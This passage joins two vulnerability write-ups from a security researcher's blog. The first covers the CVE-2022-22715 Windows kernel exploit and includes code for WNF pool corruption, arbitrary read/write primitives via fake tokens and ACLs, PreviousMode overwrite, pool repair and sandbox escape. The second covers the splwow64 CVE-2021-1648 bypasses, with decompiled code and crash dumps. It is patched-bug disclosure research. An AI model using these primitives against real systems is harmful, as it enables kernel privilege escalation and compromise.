<span class="md_line md_line_start md_line_end">I have already corrupt some _WNF_STATE_DATA objects in stage 2, and modify DataSize to 0x1000, we could use NtQueryWnfStateData with 0x1000 length parameter to find out the corrupted _WNF_STATE_DATA object, and read out of bound data to find the last corrupted page, the normal page adjacent to corrupted page.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Reading out of bound data will not corrupt the object structure, so we can use NtQueryWnfStateData with 0x1000 length parameter, if _WNF_STATE_DATA object isn't corrupted, it will return 0xC0000023, and if it is, it will return the out of bound data.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">If the out of bound data is the malicious data, I can make sure the _WNF_STATA_DATA is not in the last corrupted page, I use this way to find out the last corrupted page so I can read the next normal page with _TOKEN object structure. The _WNF_STATE_DATA object in the last corrupted page is our manager object.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">There is a LUID field in _TOKEN object, we gain it from out of bound read data, and match this LUID in array we created before, so that we finally find the worker object.</span>
</p>
<pre><code>0: kd> dq 0xffffb0880d6ae000 // ===> the last corrupted page
ffffb088`0d6ae000 00010001`00010001 00010001`00010001
ffffb088`0d6ae010 00010001`00010001 00010001`00010001
ffffb088`0d6ae020 00010001`00010001 00010001`00010001
ffffb088`0d6ae030 00010001`00010001 00010001`00010001
0: kd> dq 0xffffb0880d6af000 // ===> the first normal page
ffffb088`0d6af000 656b6f54`03880000 00000000`00000000
ffffb088`0d6af010 000007b8`00001000 00000000`00000108
ffffb088`0d6af020 ffffc10b`775e8b80 00000000`00000000
ffffb088`0d6af030 00000000`00008000 00000000`00000001
ffffb088`0d6af040 00000000`00000000 00000000`0008006d</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20220823/5.png" alt="5.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">So far, I get the manager object name and worker object handle, then I construct a 0x1000 fake data include fake _TOKEN Object structure and a _WNF_STATE_DATA structure. I have already got the normal _TOKEN object structure content by invoking NtQueryWnfStateData before, I just need to change some value to gain arbitrary r/w primitive.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Read Primitive:</span>
</p>
<pre><code> FakeSepCached = malloc(0x48);
ZeroMemory(FakeSepCached, 0x48);
*(USHORT*)((ULONG_PTR)FakeSepCached + 0x2A) = 0x8;
*(UINT64*)((ULONG_PTR)FakeSepCached + 0x30) = ReadAddress;
CorruptionData = malloc(OriginalSize);
ZeroMemory(CorruptionData, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)((UINT64)CorruptionData + TokenOffset + 0x480) = (UINT64)FakeSepCached;
*(PUINT64)((UINT64)CorruptionData + TokenOffset - 0x30) = (UINT64)3;
Status = fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL); // ===> control manager object
if (Status < 0) {
free(CorruptionData);
free(FakeSepCached);
return FALSE;
}
// ===> arbitrary read
Status = fNtQueryInformationToken(
TokenHandle,
TokenBnoIsolation,
&RecvBuffer,
RecvBufferSize,
&RecvBufferSize);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Write Primitive:</span>
</p>
<pre><code> CorruptionData = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)(CorruptionData + TokenOffset - 0x30) = 2;
*(PUINT64)(CorruptionData + TokenOffset + 0x8c) = 0x10000;
*(PUINT64)(CorruptionData + TokenOffset + 0xa8) = (UINT64)pETHREAD + 0x1f0;
*(PUINT64)(CorruptionData + TokenOffset + 0xb0) = (UINT64)pETHREAD + 0x1e8;
*(PUINT64)(CorruptionData + TokenOffset + 0xb8) = (UINT64)0;
fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL);// ===> control manager object
pACL = (PACL)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x48);
pACL->AclRevision = 2;
pACL->AceCount = 1;
pACL->AclSize = 0x48;
pACE = (PACE_HEADER)(pACL + 1);
pACE->AceSize = 0x48 - sizeof(ACL);
pACE->AceType = 50;
*(PUINT64)((ULONG_PTR)pACL + 0x18) = (UINT64)pQueueListEntryFlink;
*(PUINT64)((ULONG_PTR)pACL + 0x20) = (UINT64)pQueueListEntryBlink;
*(PUINT64)((ULONG_PTR)pACL + 0x28) = (UINT64)pNextProcessor;
*(PUINT64)((ULONG_PTR)pACL + 0x30) = (UINT64)pProcess;
*(PUINT64)((ULONG_PTR)pACL + 0x38) = 0x3;
*(PUINT64)((ULONG_PTR)pACL + 0x40) = 0x0100000008000000;
// ===> arbitrary write
Status = fNtSetInformationToken(
TokenHandle,
TokenDefaultDacl,
&pACL,
8);</code></pre>
<!--block_code_end--><h2 id="toc_8" class="h16">Stage 4: Elevation of privilege and Fix up</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">We gain arbitrary address r/w primitive, at first, I just want to replace the process TOKEN to system, it succeed, but after while, I find it's easy to crash. For example, I corrupt some _TOKEN objects, if I open processexplorer, it will travesal user space handle table for every process, it will cause crash when processexplorer access the exploite process handle table.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I need to fix up after exploit, so I decide not replace the process TOKEN, and just modify the _ETHREAD->PreviousMode, if I set previous mode to 0, I inovke NT API such as NtReadVirtualMemory and NtWriteVirtualMemory, kernel will think the thread is running in kernel mode. This is a common technology to elevate privilege, it's convenient to me for elevating of privilege and fixing instead of construct fake object every time.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Finally I use worker object to set _ETHREAD->PreviousMode to 0, and then use NtReadVirtualMemory/NtWriteVirtuaMemory to do elevation of privilege and fix up.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">There are some thing we need to do when fixing.</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><strong><em>1.Corrupted _Token Object.</em></strong></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I trigger corrupted object crash and realize that it crash because I corrupt the ObjectType in ObjectHeader, so when the nt reference the object, it will crash the system. And I can get the cookie in nt data section and calculate the objecttype in object header. I fix every corrupted _TOKEN object header.</span>
</p>
<pre><code> UINT64 pObjHeaderCookie = ntaddr + OBJHEADERCOOKIE;
BYTE cookie;
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pObjHeaderCookie, (UINT64)&cookie, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
BYTE addrbyte = (pPoolAddress >> 8) & 0xff;
BYTE offset = cookie ^ addrbyte ^ TokenTypeIndex;
BYTE bModifiedType;
for (UINT i = typeindex; i <= modifiedindex; i++) {
bModifiedType = offset ^ cookie ^ (((pPoolAddress - i * 0x1000) >> 8) & 0xff);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x88), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x48), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><strong><em>2.Corrupted VS pool structure.</em></strong></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">This is the most complicate problem I meet, I do not only corrupt the object structure, but also corrupt the VS pool structure, this will cause BSoD unexpected. I do some reversing in VS allocation deeply and find there is a RBTree to manage VS pool, if I know a VS pool address, I can calculate the VS pool manager address.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">When a new VS pool allocate or a old free, it will travesal the RBTree from the VS pool manager, and if I corrupt the VS pool address which means when VS pool manager travesal from the root node and access the corrupted node, it will crash.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">So I need to find the crash node from the RBTree root node, and delete it from RBTree, this may cause some memory leak if there are some other VS pools under the corrupted node, but it's better than crash the system.</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20220823/6.png" alt="6.PNG" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">I calculate the root VS pool, travesal the RBTree and delete the node from the RBTree.</span>
</p>
<pre><code> UINT64 zeroSet = 0x0;
UINT64 ntaddr = KernelSymbolInfo();
UINT64 pGlobalHeapAddr = ntaddr + GLOBALOFFSET;
UINT64 pGlobalHeapValue;
UINT64 pPoolChunkAddr = pPoolAddress & 0xfffffffffff00000;
UINT64 pPoolChunkValue;
X64Call(pReadVirtualMemory, 5 , (UINT64)GetCurrentProcess(), (UINT64)pGlobalHeapAddr, (UINT64)&pGlobalHeapValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pPoolChunkAddr + 0x10, (UINT64)&pPoolChunkValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
UINT64 pHpMgrAddr = ((UINT64)pGlobalHeapValue ^ (UINT64)pPoolChunkAddr ^ (UINT64)pPoolChunkValue ^ 0xA2E64EADA2E64EAD) - 0x100 + 0x290; // ======> calculate the VS pool manager address
UINT64 pRootChunkAddr;
UINT64 pRightChunk;
UINT64 pLeftChunk;
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pHpMgrAddr, (UINT64)&pRootChunkAddr, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte); // ====> get the root VS pool address
UINT64 pTargetChunk = pPoolAddress & 0xffffffffffff0000;
UINT64 pFinalChunk = NULL;
UINT64 pTempLeftChunk = pLeftChunk, pTempRightChunk = pRightChunk;
UINT64 pTempRootChunk;
pRootChunkAddr = pLeftChunk; // ====> traversal from left chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}
pRootChunkAddr = pTempRightChunk; // ====> traversal from right chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">After all fix, it's time to pop cmd. Because Adobe Reader render process in a Job, I can't create process from it, so I inject shellcode to browser process and write a file in volume C: to complete exploit.</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="https://whereisk0shl.top/20220823/bbb.png" alt="bbb.PNG" title="" ></span>
</p>
<h2 id="toc_9" class="h16">Patch</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Microsoft patched the vulnerability in February 2022, npfs uses int type to calculate the total size and check if the total size larger than maximum ushort value.</span>
</p>
<pre><code>NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *a1, void *a2, _DWORD *a3)
{
[...]
if ( v13 )
{
if ( TokenInformation )
{
v20 = DestinationString.Length + v37.Length;
v21 = v20 + 120;
v22 = v20 + 122;
}
else
{
v21 = v37.Length + 96;
v22 = v37.Length + 98;
}
}
else
{
v21 = DestinationString.Length + 112;
v22 = DestinationString.Length + 114;
}
if ( !v18 )
v22 = v21;
v23 = v19 + v22;
if ( v23 <= 0xFFFE )
{
v28.MaximumLength = v23;
Pool2 = (WCHAR *)ExAllocatePool2(256i64, (unsigned __int16)v23, 1850110030i64);
[...]
}</code></pre>
<!--block_code_end--><h2 id="toc_10" class="h16">Demonstrate how I use WNF API with a accessible SD</h2>
<pre><code>BOOLEAN AllocateWnfObject(DWORD dwWantedSize, PWNF_STATE_NAME pStateName) {
NTSTATUS Status;
HANDLE gProcessToken;
WNF_TYPE_ID TypeID = { 0 };
PSECURITY_DESCRIPTOR SecurityDescriptor;
ULONG RetLength = 0;
BOOL DaclPresent, SaclPresent;
BOOL DaclDefault, SaclDefault, OwnerDefault, GroupDefault;
PACL pDacl, pSacl;
PSID pOwner, pGroup;
ACE_HEADER* AceHeader;
ACCESS_ALLOWED_ACE* pACE;
PSECURITY_DESCRIPTOR GetSD;
Status = fNtOpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &gProcessToken);
if (Status < 0) {
return FALSE;
}
SecurityDescriptor = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000); // initialize a new SD
GetSD = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
Status = fNtQuerySecurityObject(
gProcessToken,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
GetSD,
0x1000,
&RetLength); // Query a accessible SD from process token
if (Status < 0)
{
return FALSE;
}
// Get Owner/Group/DACL/SACL from accessible security object
GetSecurityDescriptorOwner(GetSD, &pOwner, &OwnerDefault);
GetSecurityDescriptorGroup(GetSD, &pGroup, &GroupDefault);
GetSecurityDescriptorDacl(GetSD, &DaclPresent, &pDacl, &DaclDefault);
GetSecurityDescriptorSacl(GetSD, &SaclPresent, &pSacl, &SaclDefault);
AceHeader = (ACE_HEADER*)&pDacl[1];
while ((DWORD)AceHeader < (DWORD)pDacl + (DWORD)pDacl->AclSize)
{
if (AceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)
{
pACE = (ACCESS_ALLOWED_ACE*)&AceHeader[0];
pACE->Mask = GENERIC_ALL;
}
AceHeader = (ACE_HEADER*)((DWORD)AceHeader + (DWORD)AceHeader->AceSize);
}
// Set it to new SD
InitializeSecurityDescriptor(SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorOwner(SecurityDescriptor, pOwner, OwnerDefault);
SetSecurityDescriptorGroup(SecurityDescriptor, pGroup, GroupDefault);
SetSecurityDescriptorDacl(SecurityDescriptor, DaclPresent, pDacl, DaclDefault);
SetSecurityDescriptorSacl(SecurityDescriptor, SaclPresent, pSacl, SaclDefault);
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GetSD);
Status = fNtCreateWnfStateName(
pStateName,
WnfTemporaryStateName,
WnfDataScopeSession,
FALSE,
&TypeID,
0x1000,
SecurityDescriptor); // invoke WNF API with new SD
if (Status < 0)
{
return FALSE;
}
PVOID lpBuff = (PVOID)malloc(dwWantedSize - 0x20);
memset(lpBuff, 0x00, dwWantedSize - 0x20);
Status = fNtUpdateWnfStateData(
pStateName,
lpBuff,
dwWantedSize - 0x20,
&TypeID,
NULL,
0,
0);
if (Status < 0)
{
return FALSE;
}
free(lpBuff);
return TRUE;
}</code></pre>
<!--block_code_end--><h2 id="toc_11" class="h16">Reference</h2>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><a class="md_compiled" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22715">Security Update Guide - Microsoft Security Response Center</a></span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><a class="md_compiled" href="https://github.com/k0keoyo/my_vulnerabilities/tree/master/CVE-2022-22715">CVE-2022-22715 PoC</a></span>
</p>
<h2 id="toc_12" class="h16">Time line</h2>
<p class="md_block">
<span class="md_line md_line_start">2021-10-17 Reported vulnerability to Microsoft via TianfuCup 2021<br /></span>
<span class="md_line">2022-02-08 Microsoft released patch, assigned CVE-2022-22715<br /></span>
<span class="md_line md_line_end">2022-08-23 Blogpost is publiced in partnership with Adobe Product Security Incident Response Team</span>
</p>The Story Of CVE-2021-16482021-01-13T02:29:43Zthe_story_of_cve_2021_1648WHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">Author: k0shl of 360 Vulcan Team</span>
</p>
<h2 id="toc_0" class="h16">Summary</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In January 2021 patch tuesday, MSRC patched a vulnerability in splwow64 service, assigned to CVE-2021-1648(also known as CVE-2020-17008), which merged my two interesting cases which bypass the patch of CVE-2020-0986, one of them also be found by Google Project Zero((https://bugs.chromium.org/p/project-zero/issues/detail?id=2096).actually this include one EoP and two info leak cases.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">This vulnerability was planned to patch in October 2020, but MSRC seems found some other serious security problems in service, so they postpone the patch for four months.</span>
</p>
<h2 id="toc_1" class="h16">Background</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">In this blog, I don't want to talk more about the mechanism of splwow64, there are a lot of analysis of CVE-2020-0986 before, so let's focus on the vulnerability.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">After CVE-2020-0986 had been patched, I make a quick bindiff on splwow64 and gdi32full, and found there are two check added after patch.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">One is that Microsoft added two printer handle(or aka cookie?) check functions named "FindDriverForCookie" and "FindPrinterHandle", it will check printer driver handle which store in a global variable.</span>
</p>
<pre><code>__int64 __fastcall FindDriverForCookie(__int64 a1)
{
v3 = qword_1800EABA0;
if ( qword_1800EABA0 )
{
do
{
if ( a1 == *(_QWORD *)(v3 + 56) ) //check driver index
break;
v3 = *(_QWORD *)(v3 + 8);
}
while ( v3 );
if ( v3 )
++*(_DWORD *)(v3 + 44);
}
RtlLeaveCriticalSection(&semUMPD);
return v3;// return driver heap
}
__int64 *__fastcall FindPrinterHandle(__int64 a1, int a2, int a3)
{
for ( i = *(__int64 **)(v3 + 64); i && (*((_DWORD *)i + 2) != v5 || *((_DWORD *)i + 3) != v4); i = (__int64 *)*i ) //check printer handle
;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Another is that MSRC added two pointer check functions "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset" to check if pointer is validate.</span>
</p>
<h2 id="toc_2" class="h16">FindDriverForCookie and FindPrinterHandle bypass</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">First, I don't know the purpose that Microsoft add FindDriverForCookie and FindPrinterHandle, maybe it's not for mitigation? After quick review, I found there is a command named 0x6A that can set printer handle which the value we can controll in global variable of service to bypass this two check functions.</span>
</p>
<pre><code>__int64 __fastcall bAddPrinterHandle(__int64 a1, int a2, int a3, __int64 a4)
{
v9 = RtlAllocateHeap(*(_QWORD *)(__readgsqword(0x60u) + 48), 0i64, 24i64);
v10 = (_QWORD *)v9;
if ( v9 )
{
*(_DWORD *)(v9 + 8) = v6;
*(_DWORD *)(v9 + 12) = v5;
*(_QWORD *)(v9 + 16) = v8;
RtlEnterCriticalSection(&semUMPD);
*v10 = *(_QWORD *)(v4 + 0x40);
v7 = 1;
*(_QWORD *)(v4 + 0x40) = v10; //add print handle which can be controlled by user
RtlLeaveCriticalSection(&semUMPD);
}
return v7;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">By invoking command 0x6A, function bAddPrinterHandle will add print handle to driver heap which stored in global variable |qword_1800EABA0|.</span>
</p>
<pre><code>//set print handle to 0xdeadbeef00006666
0:007> p
gdi32full!bAddPrinterHandle+0x54:
00007ff8`380fc3bc 44897808 mov dword ptr [rax+8],r15d ds:00000000`0108a428=00000000
0:007> p
gdi32full!bAddPrinterHandle+0x58:
00007ff8`380fc3c0 4489700c mov dword ptr [rax+0Ch],r14d ds:00000000`0108a42c=00000000
0:007> r r14d
r14d=deadbeef
0:007> r r15d
r15d=6666
//driver heap stored in global variable
0:007> dq gdi32full+0xEABA0 l1
00007ff8`381baba0 00000000`0108d000
0:007> dq 108d000+0x40 l1
00000000`0108d040 00000000`0108a420
0:007> dq 108a420+0x8 l1
00000000`0108a428 deadbeef`00006666</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">So we can easy bypass printer handle check during invoking Command 0x6D, and hit the vulnerability code.</span>
</p>
<pre><code> case 0x6Du:
v31 = FindDriverForCookie(*(_QWORD *)(v6 + 24));
v32 = v31;
if ( !v31 )
goto LABEL_137;
v33 = FindPrinterHandle(v31, *(_DWORD *)(v6 + 32), *(_DWORD *)(v6 + 36));
...
[vulnerability code]</code></pre>
<!--block_code_end--><h2 id="toc_3" class="h16">CVE-2021-1648: arbitrary address read</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Let's talk about information disclosure, CVE-2020-1648 includes a arbitrary address read information disclosure.</span>
</p>
<pre><code> if ( v51 != -1 )
{
v57 = **(unsigned __int16 ***)(v6 + 0x50); //not check v57
if ( v57 )
{
v58 = v57[34];
v59 = v58 + v57[35];
if ( (unsigned int)v59 >= v58 && (unsigned int)v59 <= 0x1FFFE )
memcpy_0(*(void **)(v6 + 88), v57, v59); //arbitrary address read
}
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">The code of case Command 0x6D is too long, so I won't post all of them in my blog. In short, it will check destination address of memcpy if it's in "validate" range, the range of |v6+0x58|, but source address |v57| isn't checked, so we can read arbitrary address.</span>
</p>
<pre><code>0:007> r
rax=0000000000868a00 rbx=000000000001fffe rcx=0000000000000000
rdx=4141414141414141 rsi=0000000000150200 rdi=00000000008688d0
rip=00007ff9fc008403 rsp=000000000210f480 rbp=000000000210f4f9
r8=100297f000000002 r9=000000000022f000 r10=00000fff3c9c801d
r11=000000000210f350 r12=0000000000868920 r13=0000000000868910
r14=0000000000000001 r15=0000000000461c50
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
gdi32full!GdiPrinterThunk+0x1a73:
00007ff9fc008403 0fb74a44 movzx ecx,word ptr [rdx+44h] ds:4141414141414185=????</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Stack trace:</span>
</p>
<pre><code>0:007> k
Child-SP RetAddr Call Site
000000000210f480 00007ff7558e78ab gdi32full!GdiPrinterThunk+0x1a73
000000000210f560 00007ff7558e84de splwow64+0x78ab
000000000210f650 00007ff7558e9f28 splwow64+0x84de
000000000210f6b0 00007ff9fe3f2e93 splwow64+0x9f28
000000000210f6e0 00007ff9fe3f45b4 ntdll!RtlDeleteCriticalSection+0x363
000000000210f730 00007ff9fc487bd4 ntdll!RtlInitializeResource+0xce4
000000000210faf0 00007ff9fe42ce51 KERNEL32!BaseThreadInitThunk+0x14
000000000210fb20 0000000000000000 ntdll!RtlUserThreadStart+0x21</code></pre>
<!--block_code_end--><h2 id="toc_4" class="h16">Another two cases of CVE-2021-1648</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Another two cases I reported to MSRC is about bypassing offset check functions "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset", I think MSRC made a mistake in these two functions range check.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end"><strong><em>Splwow64 is a specail service which is compatible with x86 in x86-64 Windows OS, so it always allocate heap which is 32bits</em></strong>, but in CVE-2020-0986 patch, "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset" only check if offset and |portview+offset| is less than 0x7fffffff.</span>
</p>
<pre><code>signed __int64 __fastcall UMPDPointerFromOffset(unsigned __int64 *a1, __int64 a2, unsigned int a3)
{
[...]
if ( v3 <= 0x7FFFFFFF && v3 + a3 <= 0x7FFFFFFF )
{
*a1 = v3 + a2;
return 1i64;
}
[...]
}
signed __int64 __fastcall UMPDStringPointerFromOffset(unsigned __int64 *a1, __int64 a2)
{
[...]
if ( v3 > 0x7FFFFFFF )
goto LABEL_12;
v4 = (0x7FFFFFFF - v3) >> 1;
*a1 = v3 + a2;
v5 = (unsigned int)v4;
if ( v3 + a2 )
v2 = wcsnlen((const wchar_t *)(v3 + a2), (unsigned int)v4);
[...]
return result;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">But in splwow64 service, so many heaps even stack is allocated in low address, like this:</span>
</p>
<pre><code>0:004> pc
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff6`846d7c71 e826490000 call splwow64!operator new[] (00007ff6`846dc59c)
0:004> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff6`846d7c76 488bf0 mov rsi,rax
0:004> r rax
rax=00000000007d7c70
0:004> r rsp
rsp=000000000217f400</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">So it is possible to exploit through occupy to some important heaps or stack in splwow64 service, I suggest MSRC in my report to check range of pointer if it's in portview section instead of 0x7fffffff.</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">two cases crash dump:</span>
</p>
<pre><code>0:006> r
rax=0000000000000000 rbx=00000000012f8360 rcx=000000001363d9e0
rdx=00000000012f8360 rsi=0000000002d60200 rdi=000000001363d9d8
rip=00007fff728956d2 rsp=0000000002cdf230 rbp=0000000000000001
r8=0000000000000028 r9=0000000012345678 r10=000000007fffffff
r11=2222222222222222 r12=00007fff57ea8fe0 r13=0000000001208210
r14=000000000120aa50 r15=00007fff72860000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
gdi32full!UMPDStringPointerFromOffset+0x12:
00007fff728956d2 4c8b09 mov r9,qword ptr [rcx] ds:000000001363d9e0=????????????????
0:006> r
rax=0000000000000001 rbx=0000000001628360 rcx=0000000042a3c4a1
rdx=0000000001628360 rsi=0000000000ff0200 rdi=0000000000000000
rip=00007fff7289568a rsp=0000000002ecf3d8 rbp=0000000000000001
r8=0000000000000028 r9=0000000041414141 r10=000000007fffffff
r11=2222222222222222 r12=00007fff57ea8fe0 r13=0000000001407160
r14=000000000140a000 r15=00007fff72860000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
gdi32full!UMPDPointerFromOffset+0xa:
00007fff7289568a 4c8b09 mov r9,qword ptr [rcx] ds:0000000042a3c4a1=????????????????</code></pre>
